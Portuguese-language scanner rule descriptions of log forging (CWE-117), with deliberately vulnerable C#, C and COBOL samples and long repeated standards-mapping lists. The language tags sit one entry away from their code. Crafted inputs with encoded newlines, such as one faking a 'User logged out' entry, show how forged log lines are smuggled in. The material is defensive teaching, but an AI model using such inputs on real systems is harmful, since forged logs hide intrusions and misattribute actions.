[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.actionscript.log_forging
Abstract
A gravação da entrada do usuário em arquivos de log pode permitir que um invasor falsifique entradas de log ou injete conteúdo mal-intencionado nos logs.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, a tarefa de analisar arquivos de log pode ser realizada manualmente conforme necessário ou automatizada com uma ferramenta que examina os logs automaticamente em busca de eventos importantes ou informações que possam definir tendências.

A interpretação dos arquivos de log pode ser impedida ou equivocada se um invasor puder fornecer dados ao aplicativo que mais tarde são registrados textualmente. No caso mais benigno, um invasor pode ser capaz de inserir entradas falsas no arquivo de log, fornecendo ao aplicativo uma entrada que inclui caracteres apropriados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor pode injetar código ou outros comandos no arquivo de log e tirar proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo: O seguinte código de aplicativo Web tenta ler um valor de número inteiro de um objeto de solicitação. Se não for possível analisar o valor como um número inteiro, a entrada será registrada em log com uma mensagem de erro indicando o que aconteceu.


...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...


Se um usuário enviar a string "twenty-one" para val, a seguinte entrada será registrada:


INFO: Failed to parse val=twenty-one


No entanto, se um invasor enviar a string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", a seguinte entrada será registrada:


INFO: Failed to parse val=twenty-one

INFO: User logged out=badguy


Claramente, os invasores podem usar esse mesmo mecanismo para inserir entradas de log arbitrárias.
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.log_forging
Abstract
A gravação de entradas do usuário não validadas em arquivos de log pode permitir que um invasor falsifique entradas de log ou injete conteúdo mal-intencionado nos logs.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, arquivos de log podem ser analisados manualmente conforme necessário ou examinados automaticamente por ferramentas que pesquisam os logs em busca de importantes pontos de dados ou tendências.

O exame dos arquivos de log poderá ser impedido ou conclusões baseadas em dados de log poderão estar erradas se um invasor tiver permissão para fornecer ao aplicativo dados que posteriormente serão registrados de maneira literal. Um invasor pode inserir entradas falsas no arquivo de log, incluindo caracteres separadores de entradas de log em seus dados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor injeta código ou outros comandos no arquivo de log e tira proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo: O código a seguir de um script CGI aceita uma cadeia de caracteres enviada pelo usuário e tenta convertê-la no valor de inteiro longo que ela representa. Se não for possível analisar o valor como um inteiro, seu valor será registrado em log com uma mensagem de erro indicando o que aconteceu.


long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...



Se um usuário enviar a string "twenty-one" para val, a seguinte entrada será registrada:


Illegal value=twenty-one


No entanto, se um invasor enviar a string "twenty-one\n\nINFO: User logged out=evil", a seguinte entrada será registrada:


INFO: Illegal value=twenty-one

INFO: User logged out=evil


Claramente, o invasor pode usar esse mesmo mecanismo para inserir entradas de log arbitrárias. Para que esse tipo de ataque de falsificação de log seja eficaz, um invasor deve primeiro identificar formatos de entrada de log válidos, mas isso muitas vezes pode ser feito por vazamentos de informações do sistema no aplicativo de destino.
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.cpp.log_forging
Abstract
A gravação da entrada do usuário em arquivos de log pode permitir que um invasor falsifique entradas de log ou injete conteúdo mal-intencionado nos logs.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, a tarefa de analisar arquivos de log pode ser realizada manualmente conforme necessário ou automatizada com uma ferramenta que examina os logs automaticamente em busca de eventos importantes ou informações que possam definir tendências.

A interpretação dos arquivos de log pode ser impedida ou equivocada se um invasor puder fornecer dados ao aplicativo que mais tarde são registrados textualmente. No caso mais benigno, um invasor pode inserir entradas falsas no arquivo de log, fornecendo ao aplicativo uma entrada que inclui caracteres apropriados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor pode injetar código ou outros comandos no arquivo de log e tirar proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo: O seguinte código do aplicativo Web tenta ler um valor de um formulário HTML. O valor é registrado em seguida.


...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...

EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.

EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...


Se um usuário enviar a string "FOO" para VAL, a seguinte entrada será registrada:


VAL: FOO


No entanto, se um invasor enviar a string "FOO VAL: BAR", a seguinte entrada será registrada:


VAL: FOO VAL: BAR


Claramente, os invasores podem usar esse mesmo mecanismo para inserir entradas de log arbitrárias.
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.cobol.log_forging
Abstract
A gravação da entrada do usuário em arquivos de log pode permitir que um invasor falsifique entradas de log ou injete conteúdo mal-intencionado nos logs.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.


2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.


Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, a tarefa de analisar arquivos de log pode ser realizada manualmente conforme necessário ou automatizada com uma ferramenta que examina os logs automaticamente em busca de eventos importantes ou informações que possam definir tendências.

